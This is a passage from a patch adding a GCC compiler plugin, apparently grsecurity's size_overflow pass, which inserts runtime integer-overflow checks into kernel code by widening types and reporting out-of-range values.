++	char ssa_name_buf[256];
++	gimple_stmt_iterator gsi = gsi_start_bb(bb_true);
++
++	def_stmt = get_def_stmt(arg);
++	xloc = expand_location(gimple_location(def_stmt));
++
++	if (!gimple_has_location(def_stmt)) {
++		xloc = expand_location(gimple_location(stmt));
++		if (!gimple_has_location(stmt))
++			xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl));
++	}
++
++	loc_line = build_int_cstu(unsigned_type_node, xloc.line);
++
++	loc_file = build_string(strlen(xloc.file) + 1, xloc.file);
++	loc_file = create_string_param(loc_file);
++
++	current_func = build_string(NAME_LEN(current_function_decl) + 1, NAME(current_function_decl));
++	current_func = create_string_param(current_func);
++
++	snprintf(ssa_name_buf, 256, "%s_%u (%s)\n", NAME(SSA_NAME_VAR(arg)), SSA_NAME_VERSION(arg), min ? "min" : "max");
++	ssa_name = build_string(256, ssa_name_buf);
++	ssa_name = create_string_param(ssa_name);
++
++	// void report_size_overflow(const char *file, unsigned int line, const char *func, const char *ssa_name)
++	func_stmt = gimple_build_call(report_size_overflow_decl, 4, loc_file, loc_line, current_func, ssa_name);
++
++	gsi_insert_after(&gsi, func_stmt, GSI_CONTINUE_LINKING);
++}
++
++static void __unused print_the_code_insertions(const_gimple stmt)
++{
++	location_t loc = gimple_location(stmt);
++
++	inform(loc, "Integer size_overflow check applied here.");
++}
++
++static void insert_check_size_overflow(gimple stmt, enum tree_code cond_code, tree arg, tree type_value, bool before, bool min)
++{
++	basic_block cond_bb, join_bb, bb_true;
++	edge e;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++
++	cond_bb = gimple_bb(stmt);
++	if (before)
++		gsi_prev(&gsi);
++	if (gsi_end_p(gsi))
++		e = split_block_after_labels(cond_bb);
++	else
++		e = split_block(cond_bb, gsi_stmt(gsi));
++	cond_bb = e->src;
++	join_bb = e->dest;
++	e->flags = EDGE_FALSE_VALUE;
++	e->probability = REG_BR_PROB_BASE;
++
++	bb_true = create_empty_bb(cond_bb);
++	make_edge(cond_bb, bb_true, EDGE_TRUE_VALUE);
++	make_edge(cond_bb, join_bb, EDGE_FALSE_VALUE);
++	make_edge(bb_true, join_bb, EDGE_FALLTHRU);
++
++	if (dom_info_available_p(CDI_DOMINATORS)) {
++		set_immediate_dominator(CDI_DOMINATORS, bb_true, cond_bb);
++		set_immediate_dominator(CDI_DOMINATORS, join_bb, cond_bb);
++	}
++
++	if (current_loops != NULL) {
++		gcc_assert(cond_bb->loop_father == join_bb->loop_father);
++		add_bb_to_loop(bb_true, cond_bb->loop_father);
++	}
++
++	insert_cond(cond_bb, arg, cond_code, type_value);
++	insert_cond_result(bb_true, stmt, arg, min);
++
++//	print_the_code_insertions(stmt);
++}
++
++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before)
++{
++	const_tree rhs_type = TREE_TYPE(rhs);
++	tree cast_rhs_type, type_max_type, type_min_type, type_max, type_min;
++
++	gcc_assert(rhs_type != NULL_TREE);
++	if (TREE_CODE(rhs_type) == POINTER_TYPE)
++		return;
++
++	gcc_assert(TREE_CODE(rhs_type) == INTEGER_TYPE || TREE_CODE(rhs_type) == BOOLEAN_TYPE || TREE_CODE(rhs_type) == ENUMERAL_TYPE);
++
++	type_max = cast_a_tree(size_overflow_type, TYPE_MAX_VALUE(rhs_type));
++	type_min = cast_a_tree(size_overflow_type, TYPE_MIN_VALUE(rhs_type));
++
++	gcc_assert(!TREE_OVERFLOW(type_max));
++
++	cast_rhs_type = TREE_TYPE(cast_rhs);
++	type_max_type = TREE_TYPE(type_max);
++	type_min_type = TREE_TYPE(type_min);
++	gcc_assert(useless_type_conversion_p(cast_rhs_type, type_max_type));
++	gcc_assert(useless_type_conversion_p(type_max_type, type_min_type));
++
++	insert_check_size_overflow(stmt, GT_EXPR, cast_rhs, type_max, before, false);
++	insert_check_size_overflow(stmt, LT_EXPR, cast_rhs, type_min, before, true);
++}
++
++static tree get_size_overflow_type_for_intentional_overflow(gimple def_stmt, tree change_rhs)
++{
++	gimple change_rhs_def_stmt;
++	tree lhs = gimple_get_lhs(def_stmt);
++	tree lhs_type = TREE_TYPE(lhs);
++	tree rhs1_type = TREE_TYPE(gimple_assign_rhs1(def_stmt));
++	tree rhs2_type = TREE_TYPE(gimple_assign_rhs2(def_stmt));
++
++	if (change_rhs == NULL_TREE)
++		return get_size_overflow_type(def_stmt, lhs);
++
++	change_rhs_def_stmt = get_def_stmt(change_rhs);
++
++	if (TREE_CODE_CLASS(gimple_assign_rhs_code(def_stmt)) == tcc_comparison)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (gimple_assign_rhs_code(def_stmt) == LSHIFT_EXPR)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (gimple_assign_rhs_code(def_stmt) == RSHIFT_EXPR)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (!useless_type_conversion_p(lhs_type, rhs1_type) || !useless_type_conversion_p(rhs1_type, rhs2_type)) {
++		debug_gimple_stmt(def_stmt);
++		gcc_unreachable();
++	}
++
++	return get_size_overflow_type(def_stmt, lhs);
++}
++
++static bool is_a_constant_overflow(const_gimple stmt, const_tree rhs)
++{
++	if (gimple_assign_rhs_code(stmt) == MIN_EXPR)
++		return false;
++	if (!is_gimple_constant(rhs))
++		return false;
++	return true;
++}
++
++static tree get_cast_def_stmt_rhs(const_tree new_rhs)
++{
++	gimple def_stmt;
++
++	def_stmt = get_def_stmt(new_rhs);
++	// get_size_overflow_type
++	if (LONG_TYPE_SIZE != GET_MODE_BITSIZE(SImode))
++		gcc_assert(gimple_assign_cast_p(def_stmt));
++	return gimple_assign_rhs1(def_stmt);
++}
++
++static tree cast_to_int_TI_type_and_check(gimple stmt, tree new_rhs)
++{
++	gimple_stmt_iterator gsi;
++	const_gimple cast_stmt;
++	gimple def_stmt;
++	enum machine_mode mode = TYPE_MODE(TREE_TYPE(new_rhs));
++
++	if (mode != TImode && mode != DImode) {
++		def_stmt = get_def_stmt(new_rhs);
++		gcc_assert(gimple_assign_cast_p(def_stmt));
++		new_rhs = gimple_assign_rhs1(def_stmt);
++		mode = TYPE_MODE(TREE_TYPE(new_rhs));
++	}
++
++	gcc_assert(mode == TImode || mode == DImode);
++
++	if (mode == TYPE_MODE(intTI_type_node) && useless_type_conversion_p(TREE_TYPE(new_rhs), intTI_type_node))
++		return new_rhs;
++
++	gsi = gsi_for_stmt(stmt);
++	cast_stmt = build_cast_stmt(intTI_type_node, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++	new_rhs = gimple_get_lhs(cast_stmt);
++
++	if (mode == DImode)
++		return new_rhs;
++
++	check_size_overflow(stmt, intTI_type_node, new_rhs, new_rhs, BEFORE_STMT);
++
++	return new_rhs;
++}
++
++static bool is_an_integer_trunction(const_gimple stmt)
++{
++	gimple rhs1_def_stmt, rhs2_def_stmt;
++	const_tree rhs1_def_stmt_rhs1, rhs2_def_stmt_rhs1;
++	enum machine_mode rhs1_def_stmt_rhs1_mode, rhs2_def_stmt_rhs1_mode;
++	const_tree rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs2 = gimple_assign_rhs2(stmt);
++	enum machine_mode rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1));
++	enum machine_mode rhs2_mode = TYPE_MODE(TREE_TYPE(rhs2));
++
++	if (is_gimple_constant(rhs1) || is_gimple_constant(rhs2))
++		return false;
++
++	gcc_assert(TREE_CODE(rhs1) == SSA_NAME && TREE_CODE(rhs2) == SSA_NAME);
++
++	if (gimple_assign_rhs_code(stmt) != MINUS_EXPR || rhs1_mode != SImode || rhs2_mode != SImode)
++		return false;
++
++	rhs1_def_stmt = get_def_stmt(rhs1);
++	rhs2_def_stmt = get_def_stmt(rhs2);
++	if (!gimple_assign_cast_p(rhs1_def_stmt) || !gimple_assign_cast_p(rhs2_def_stmt))
++		return false;
++
++	rhs1_def_stmt_rhs1 = gimple_assign_rhs1(rhs1_def_stmt);
++	rhs2_def_stmt_rhs1 = gimple_assign_rhs1(rhs2_def_stmt);
++	rhs1_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1_def_stmt_rhs1));
++	rhs2_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs2_def_stmt_rhs1));
++	if (rhs1_def_stmt_rhs1_mode != DImode || rhs2_def_stmt_rhs1_mode != DImode)
++		return false;
++
++	gimple_set_plf(rhs1_def_stmt, NO_CAST_CHECK, true);
++	gimple_set_plf(rhs2_def_stmt, NO_CAST_CHECK, true);
++	return true;
++}
++
++static tree handle_integer_truncation(struct pointer_set_t *visited, const_tree lhs)
++{
++	tree new_rhs1, new_rhs2;
++	tree new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1, new_lhs;
++	tree new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type;
++	gimple assign, stmt = get_def_stmt(lhs);
++	tree rhs1 = gimple_assign_rhs1(stmt);
++	tree rhs2 = gimple_assign_rhs2(stmt);
++
++	if (!is_an_integer_trunction(stmt))
++		return NULL_TREE;
++
++	new_rhs1 = expand(visited, rhs1);
++	new_rhs2 = expand(visited, rhs2);
++
++	new_rhs1_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs1);
++	new_rhs2_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs2);
++
++	new_rhs1_def_stmt_rhs1_type = TREE_TYPE(new_rhs1_def_stmt_rhs1);
++	new_rhs2_def_stmt_rhs1_type = TREE_TYPE(new_rhs2_def_stmt_rhs1);
++
++	if (!useless_type_conversion_p(new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type)) {
++		new_rhs1_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs1_def_stmt_rhs1);
++		new_rhs2_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs2_def_stmt_rhs1);
++	}
++
++	assign = create_binary_assign(MINUS_EXPR, stmt, new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1);
++	new_lhs = gimple_get_lhs(assign);
++	check_size_overflow(assign, TREE_TYPE(new_lhs), new_lhs, rhs1, AFTER_STMT);
++
++	return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, new_rhs2, NULL_TREE);
++}
++
++static bool is_a_neg_overflow(const_gimple stmt, const_tree rhs)
++{
++	const_gimple def_stmt;
++
++	if (TREE_CODE(rhs) != SSA_NAME)
++		return false;
++
++	if (gimple_assign_rhs_code(stmt) != PLUS_EXPR)
++		return false;
++
++	def_stmt = get_def_stmt(rhs);
++	if (gimple_code(def_stmt) != GIMPLE_ASSIGN || gimple_assign_rhs_code(def_stmt) != BIT_NOT_EXPR)
++		return false;
++
++	return true;
++}
++
++static tree handle_intentional_overflow(struct pointer_set_t *visited, bool check_overflow, gimple stmt, tree change_rhs, tree new_rhs1, tree new_rhs2)
++{
++	tree new_rhs, size_overflow_type, orig_rhs;
++	void (*gimple_assign_set_rhs)(gimple, tree);
++	tree rhs1 = gimple_assign_rhs1(stmt);
++	tree rhs2 = gimple_assign_rhs2(stmt);
++	tree lhs = gimple_get_lhs(stmt);
++
++	if (change_rhs == NULL_TREE)
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	if (new_rhs2 == NULL_TREE) {
++		size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs1);
++		new_rhs2 = cast_a_tree(size_overflow_type, rhs2);
++		orig_rhs = rhs1;
++		gimple_assign_set_rhs = &gimple_assign_set_rhs1;
++	} else {
++		size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs2);
++		new_rhs1 = cast_a_tree(size_overflow_type, rhs1);
++		orig_rhs = rhs2;
++		gimple_assign_set_rhs = &gimple_assign_set_rhs2;
++	}
++
++	change_rhs = cast_to_new_size_overflow_type(stmt, change_rhs, size_overflow_type, BEFORE_STMT);
++
++	if (check_overflow)
++		check_size_overflow(stmt, size_overflow_type, change_rhs, orig_rhs, BEFORE_STMT);
++
++	new_rhs = change_assign_rhs(stmt, orig_rhs, change_rhs);
++	gimple_assign_set_rhs(stmt, new_rhs);
++	update_stmt(stmt);
++
++	return create_assign(visited, stmt, lhs, AFTER_STMT);
++}
++
++static tree handle_binary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	tree rhs1, rhs2, new_lhs;
++	gimple def_stmt = get_def_stmt(lhs);
++	tree new_rhs1 = NULL_TREE;
++	tree new_rhs2 = NULL_TREE;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++
++	/* no DImode/TImode division in the 32/64 bit kernel */
++	switch (gimple_assign_rhs_code(def_stmt)) {
++	case RDIV_EXPR:
++	case TRUNC_DIV_EXPR:
++	case CEIL_DIV_EXPR:
++	case FLOOR_DIV_EXPR:
++	case ROUND_DIV_EXPR:
++	case TRUNC_MOD_EXPR:
++	case CEIL_MOD_EXPR:
++	case FLOOR_MOD_EXPR:
++	case ROUND_MOD_EXPR:
++	case EXACT_DIV_EXPR:
++	case POINTER_PLUS_EXPR:
++	case BIT_AND_EXPR:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++	default:
++		break;
++	}
++
++	new_lhs = handle_integer_truncation(visited, lhs);
++	if (new_lhs != NULL_TREE)
++		return new_lhs;
++
++	if (TREE_CODE(rhs1) == SSA_NAME)
++		new_rhs1 = expand(visited, rhs1);
++	if (TREE_CODE(rhs2) == SSA_NAME)
++		new_rhs2 = expand(visited, rhs2);
++
++	if (is_a_neg_overflow(def_stmt, rhs2))
++		return handle_intentional_overflow(visited, true, def_stmt, new_rhs1, new_rhs1, NULL_TREE);
++	if (is_a_neg_overflow(def_stmt, rhs1))
++		return handle_intentional_overflow(visited, true, def_stmt, new_rhs2, NULL_TREE, new_rhs2);
++
++	if (is_a_constant_overflow(def_stmt, rhs2))
++		return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs1), def_stmt, new_rhs1, new_rhs1, NULL_TREE);
++	if (is_a_constant_overflow(def_stmt, rhs1))
++		return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs2), def_stmt, new_rhs2, NULL_TREE, new_rhs2);
++
++	return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, NULL_TREE);
++}
++
++#if BUILDING_GCC_VERSION >= 4007
++static tree get_new_rhs(struct pointer_set_t *visited, tree size_overflow_type, tree rhs)
++{
++	if (is_gimple_constant(rhs))
++		return cast_a_tree(size_overflow_type, rhs);
++	if (TREE_CODE(rhs) != SSA_NAME)
++		return NULL_TREE;
++	return expand(visited, rhs);
++}
++
++static tree handle_ternary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	tree rhs1, rhs2, rhs3, new_rhs1, new_rhs2, new_rhs3, size_overflow_type;
++	gimple def_stmt = get_def_stmt(lhs);
++
++	size_overflow_type = get_size_overflow_type(def_stmt, lhs);
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++	rhs3 = gimple_assign_rhs3(def_stmt);
++	new_rhs1 = get_new_rhs(visited, size_overflow_type, rhs1);
++	new_rhs2 = get_new_rhs(visited, size_overflow_type, rhs2);
++	new_rhs3 = get_new_rhs(visited, size_overflow_type, rhs3);
++
++	return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, new_rhs3);
++}
++#endif
++
++static tree get_size_overflow_type(gimple stmt, const_tree node)
++{
++	const_tree type;
++
++	gcc_assert(node != NULL_TREE);
++
++	type = TREE_TYPE(node);
++
++	if (gimple_plf(stmt, MY_STMT))
++		return TREE_TYPE(node);
++
++	switch (TYPE_MODE(type)) {
++	case QImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intHI_type_node : intHI_type_node;
++	case HImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intSI_type_node : intSI_type_node;
++	case SImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node;
++	case DImode:
++		if (LONG_TYPE_SIZE == GET_MODE_BITSIZE(SImode))
++			return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node;
++		return (TYPE_UNSIGNED(type)) ? unsigned_intTI_type_node : intTI_type_node;
++	default:
++		debug_tree((tree)node);
++		error("%s: unsupported gcc configuration.", __func__);
++		gcc_unreachable();
++	}
++}
++
++static tree expand_visited(gimple def_stmt)
++{
++	const_gimple next_stmt;
++	gimple_stmt_iterator gsi = gsi_for_stmt(def_stmt);
++
++	gsi_next(&gsi);
++	next_stmt = gsi_stmt(gsi);
++
++	gcc_assert(gimple_plf((gimple)next_stmt, MY_STMT));
++
++	switch (gimple_code(next_stmt)) {
++	case GIMPLE_ASSIGN:
++		return gimple_get_lhs(next_stmt);
++	case GIMPLE_PHI:
++		return gimple_phi_result(next_stmt);
++	case GIMPLE_CALL:
++		return gimple_call_lhs(next_stmt);
++	default:
++		return NULL_TREE;
++	}
++}
++
++static tree expand(struct pointer_set_t *visited, tree lhs)
++{
++	gimple def_stmt;
++	enum tree_code code = TREE_CODE(TREE_TYPE(lhs));
++
++	if (is_gimple_constant(lhs))
++		return NULL_TREE;
++
++	if (TREE_CODE(lhs) == ADDR_EXPR)
++		return NULL_TREE;
++
++	if (code == REAL_TYPE)
++		return NULL_TREE;
++
++	gcc_assert(code == INTEGER_TYPE || code == POINTER_TYPE || code == BOOLEAN_TYPE || code == ENUMERAL_TYPE);
++
++
++	def_stmt = get_def_stmt(lhs);
++
++	if (!def_stmt)
++		return NULL_TREE;
++
++	if (gimple_plf(def_stmt, MY_STMT))
++		return lhs;
++
++	if (pointer_set_contains(visited, def_stmt))
++		return expand_visited(def_stmt);
++
++	switch (gimple_code(def_stmt)) {
++	case GIMPLE_NOP:
++		return NULL_TREE;
++	case GIMPLE_PHI:
++		return build_new_phi(visited, lhs);
++	case GIMPLE_CALL:
++	case GIMPLE_ASM:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++	case GIMPLE_ASSIGN:
++		switch (gimple_num_ops(def_stmt)) {
++		case 2:
++			return handle_unary_ops(visited, lhs);
++		case 3:
++			return handle_binary_ops(visited, lhs);
++#if BUILDING_GCC_VERSION >= 4007
++		case 4:
++			return handle_ternary_ops(visited, lhs);
++#endif
++		}
++	default:
++		debug_gimple_stmt(def_stmt);
++		error("%s: unknown gimple code", __func__);
++		gcc_unreachable();
++	}
++}
++
++static void change_function_arg(gimple stmt, const_tree origarg, unsigned int argnum, tree newarg)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree origtype = TREE_TYPE(origarg);
++
++	gcc_assert(gimple_code(stmt) == GIMPLE_CALL);
++
++	assign = build_cast_stmt(origtype, newarg, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++
++	gimple_call_set_arg(stmt, argnum, gimple_get_lhs(assign));
++	update_stmt(stmt);
++}
++
++static bool get_function_arg(unsigned int* argnum, const_tree fndecl)
++{
++	const char *origid;
++	tree arg;
++	const_tree origarg;
++
++	if (!DECL_ABSTRACT_ORIGIN(fndecl))
++		return true;
++
++	origarg = DECL_ARGUMENTS(DECL_ABSTRACT_ORIGIN(fndecl));
++	while (origarg && *argnum) {
++		(*argnum)--;
++		origarg = TREE_CHAIN(origarg);
++	}
++
++	gcc_assert(*argnum == 0);
++
++	gcc_assert(origarg != NULL_TREE);
++	origid = NAME(origarg);
++	*argnum = 0;
++	for (arg = DECL_ARGUMENTS(fndecl); arg; arg = TREE_CHAIN(arg)) {
++		if (!strcmp(origid, NAME(arg)))
++			return true;
++		(*argnum)++;
++	}
++	return false;
++}
++
++static bool skip_types(const_tree var)
++{
++	switch (TREE_CODE(var)) {
++		case ADDR_EXPR:
++#if BUILDING_GCC_VERSION >= 4006
++		case MEM_REF:
++#endif
++		case ARRAY_REF:
++		case BIT_FIELD_REF:
++		case INDIRECT_REF:
++		case TARGET_MEM_REF:
++		case VAR_DECL:
++			return true;
++		default:
++			break;
++	}
++	return false;
++}
++
++static bool walk_phi(struct pointer_set_t *visited, const_tree result)
++{
++	gimple phi = get_def_stmt(result);
++	unsigned int i, n = gimple_phi_num_args(phi);
++
++	if (!phi)
++		return false;
++
++	pointer_set_insert(visited, phi);
++	for (i = 0; i < n; i++) {
++		const_tree arg = gimple_phi_arg_def(phi, i);
++		if (pre_expand(visited, arg))
++			return true;
++	}
++	return false;
++}
++
++static bool walk_unary_ops(struct pointer_set_t *visited, const_tree lhs)
++{
++	gimple def_stmt = get_def_stmt(lhs);
++	const_tree rhs;
++
++	if (!def_stmt)
++		return false;
++
++	rhs = gimple_assign_rhs1(def_stmt);
++	if (pre_expand(visited, rhs))
++		return true;
++	return false;
++}
++
++static bool walk_binary_ops(struct pointer_set_t *visited, const_tree lhs)
++{
++	bool rhs1_found, rhs2_found;
++	gimple def_stmt = get_def_stmt(lhs);
++	const_tree rhs1, rhs2;
++
++	if (!def_stmt)
++		return false;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++	rhs1_found = pre_expand(visited, rhs1);
++	rhs2_found = pre_expand(visited, rhs2);
++
++	return rhs1_found || rhs2_found;
++}
++
++static const_tree search_field_decl(const_tree comp_ref)
++{
++	const_tree field = NULL_TREE;
++	unsigned int i, len = TREE_OPERAND_LENGTH(comp_ref);
++
++	for (i = 0; i < len; i++) {
++		field = TREE_OPERAND(comp_ref, i);
++		if (TREE_CODE(field) == FIELD_DECL)
++			break;
++	}
++	gcc_assert(TREE_CODE(field) == FIELD_DECL);
++	return field;
++}
++
++static enum marked mark_status(const_tree fndecl, unsigned int argnum)
++{
++	const_tree attr, p;
++
++	attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(fndecl));
++	if (!attr || !TREE_VALUE(attr))
++		return MARKED_NO;
++
++	p = TREE_VALUE(attr);
++	if (!TREE_INT_CST_LOW(TREE_VALUE(p)))
++		return MARKED_NOT_INTENTIONAL;
++
++	do {
++		if (argnum == TREE_INT_CST_LOW(TREE_VALUE(p)))
++			return MARKED_YES;
++		p = TREE_CHAIN(p);
++	} while (p);
++
++	return MARKED_NO;
++}
++
++static void print_missing_msg(tree func, unsigned int argnum)
++{
++	unsigned int new_hash;
++	size_t len;
++	unsigned char tree_codes[CODES_LIMIT];
++	location_t loc = DECL_SOURCE_LOCATION(func);
++	const char *curfunc = get_asm_name(func);
++
++	len = get_function_decl(func, tree_codes);
++	new_hash = get_hash_num(curfunc, (const char *) tree_codes, len, 0);
++	inform(loc, "Function %s is missing from the size_overflow hash table +%s+%u+%u+", curfunc, curfunc, argnum, new_hash);
++}
++
++static unsigned int search_missing_attribute(const_tree arg)
++{
++	const_tree type = TREE_TYPE(arg);
++	tree func = get_original_function_decl(current_function_decl);
++	unsigned int argnum;
++	const struct size_overflow_hash *hash;
++
++	gcc_assert(TREE_CODE(arg) != COMPONENT_REF);
++
++	if (TREE_CODE(type) == POINTER_TYPE)
++		return 0;
++
++	argnum = find_arg_number(arg, func);
++	if (argnum == 0)
++		return 0;
++
++	if (lookup_attribute("size_overflow", DECL_ATTRIBUTES(func)))
++		return argnum;
++
++	hash = get_function_hash(func);
++	if (!hash || !(hash->param & (1U << argnum))) {
++		print_missing_msg(func, argnum);
++		return 0;
++	}
++	return argnum;
++}
++
++static bool is_already_marked(const_tree lhs)
++{
++	unsigned int argnum;
++	const_tree fndecl;
++
++	argnum = search_missing_attribute(lhs);
++	fndecl = get_original_function_decl(current_function_decl);
++	if (argnum && mark_status(fndecl, argnum) == MARKED_YES)
++		return true;
++	return false;
++}
++
++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs)
++{
++	const_gimple def_stmt;
++
++	if (is_gimple_constant(lhs))
++		return false;
++
++	if (skip_types(lhs))
++		return false;
++
++	if (TREE_CODE(lhs) == PARM_DECL)
++		return is_already_marked(lhs);
++
++	if (TREE_CODE(lhs) == COMPONENT_REF) {
++		const_tree field, attr;
++
++		field = search_field_decl(lhs);
++		attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(field));
++		if (!attr || !TREE_VALUE(attr))
++			return false;
++		return true;
++	}
++
++	def_stmt = get_def_stmt(lhs);
++
++	if (!def_stmt)
++		return false;
++
++	if (pointer_set_contains(visited, def_stmt))
++		return false;
++
++	switch (gimple_code(def_stmt)) {
++	case GIMPLE_NOP:
++		if (TREE_CODE(SSA_NAME_VAR(lhs)) == PARM_DECL)
++			return is_already_marked(lhs);
++		return false;
++	case GIMPLE_PHI:
++		return walk_phi(visited, lhs);
++	case GIMPLE_CALL:
++	case GIMPLE_ASM:
++		return false;
++	case GIMPLE_ASSIGN:
++		switch (gimple_num_ops(def_stmt)) {
++		case 2:
++			return walk_unary_ops(visited, lhs);
++		case 3:
++			return walk_binary_ops(visited, lhs);
++		}
++	default:
++		debug_gimple_stmt((gimple)def_stmt);
++		error("%s: unknown gimple code", __func__);
++		gcc_unreachable();
++	}
++}
++
++static bool search_attributes(tree fndecl, const_tree arg, unsigned int argnum)
++{
++	struct pointer_set_t *visited;
++	bool is_found;
++	enum marked is_marked;
++	location_t loc;
++
++	visited = pointer_set_create();
++	is_found = pre_expand(visited, arg);
++	pointer_set_destroy(visited);
++
++	is_marked = mark_status(fndecl, argnum + 1);
++	if ((is_found && is_marked == MARKED_YES) || is_marked == MARKED_NOT_INTENTIONAL)
++		return true;
++
++	if (is_found) {
++		loc = DECL_SOURCE_LOCATION(fndecl);
++		inform(loc, "The intentional_overflow attribute is missing from +%s+%u+", get_asm_name(fndecl), argnum + 1);
++		return true;
++	}
++	return false;
++}
++
++static void handle_function_arg(gimple stmt, tree fndecl, unsigned int argnum)
++{
++	struct pointer_set_t *visited;
++	tree arg, newarg;
++	bool match;
++
++	match = get_function_arg(&argnum, fndecl);
++	if (!match)
++		return;
++	gcc_assert(gimple_call_num_args(stmt) > argnum);
++	arg = gimple_call_arg(stmt, argnum);
++	if (arg == NULL_TREE)
++		return;
++
++	if (is_gimple_constant(arg))
++		return;
++
++	if (search_attributes(fndecl, arg, argnum))
++		return;
++
++	if (TREE_CODE(arg) != SSA_NAME)
++		return;
++
++	check_arg_type(arg);
++
++	visited = pointer_set_create();
++	newarg = expand(visited, arg);
++	pointer_set_destroy(visited);
++
++	if (newarg == NULL_TREE)
++		return;
++
++	change_function_arg(stmt, arg, argnum, newarg);
++
++	check_size_overflow(stmt, TREE_TYPE(newarg), newarg, arg, BEFORE_STMT);
++}
++
++static void handle_function_by_attribute(gimple stmt, const_tree attr, tree fndecl)
++{
++	tree p = TREE_VALUE(attr);
++	do {
++		handle_function_arg(stmt, fndecl, TREE_INT_CST_LOW(TREE_VALUE(p))-1);
++		p = TREE_CHAIN(p);
++	} while (p);
++}
++
++static void handle_function_by_hash(gimple stmt, tree fndecl)
++{
++	tree orig_fndecl;
++	unsigned int num;
++	const struct size_overflow_hash *hash;
++
++	orig_fndecl = get_original_function_decl(fndecl);
++	if (C_DECL_IMPLICIT(orig_fndecl))
++		return;
++	hash = get_function_hash(orig_fndecl);
++	if (!hash)
++		return;
++
++	for (num = 1; num <= MAX_PARAM; num++)
++		if (hash->param & (1U << num))
++			handle_function_arg(stmt, fndecl, num - 1);
++}
++
++static void set_plf_false(void)
++{
++	basic_block bb;
++
++	FOR_ALL_BB(bb) {
++		gimple_stmt_iterator si;
++
++		for (si = gsi_start_bb(bb); !gsi_end_p(si); gsi_next(&si))
++			gimple_set_plf(gsi_stmt(si), MY_STMT, false);
++		for (si = gsi_start_phis(bb); !gsi_end_p(si); gsi_next(&si))
++			gimple_set_plf(gsi_stmt(si), MY_STMT, false);
++	}
++}
++
++static unsigned int handle_function(void)
++{
++	basic_block next, bb = ENTRY_BLOCK_PTR->next_bb;
++
++	set_plf_false();
++
++	do {
++		gimple_stmt_iterator gsi;
++		next = bb->next_bb;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			tree fndecl, attr;
++			gimple stmt = gsi_stmt(gsi);
++
++			if (!(is_gimple_call(stmt)))
++				continue;
++			fndecl = gimple_call_fndecl(stmt);
++			if (fndecl == NULL_TREE)
++				continue;
++			if (gimple_call_num_args(stmt) == 0)
++				continue;
++			attr = lookup_attribute("size_overflow", DECL_ATTRIBUTES(fndecl));
++			if (!attr || !TREE_VALUE(attr))
++				handle_function_by_hash(stmt, fndecl);
++			else
++				handle_function_by_attribute(stmt, attr, fndecl);
++			gsi = gsi_for_stmt(stmt);
++			next = gimple_bb(stmt)->next_bb;
++		}
++		bb = next;
++	} while (bb);
++	return 0;
++}
++
++static struct gimple_opt_pass size_overflow_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "size_overflow",
++		.gate			= NULL,
++		.execute		= handle_function,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_cfg | PROP_referenced_vars,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi | TODO_cleanup_cfg | TODO_ggc_collect | TODO_verify_flow
++	}
++};
++
++static void start_unit_callback(void __unused *gcc_data, void __unused *user_data)
++{
++	tree fntype;
++
++	const_char_ptr_type_node = build_pointer_type(build_type_variant(char_type_node, 1, 0));
++
++	// void report_size_overflow(const char *loc_file, unsigned int loc_line, const char *current_func, const char *ssa_var)
++	fntype = build_function_type_list(void_type_node,
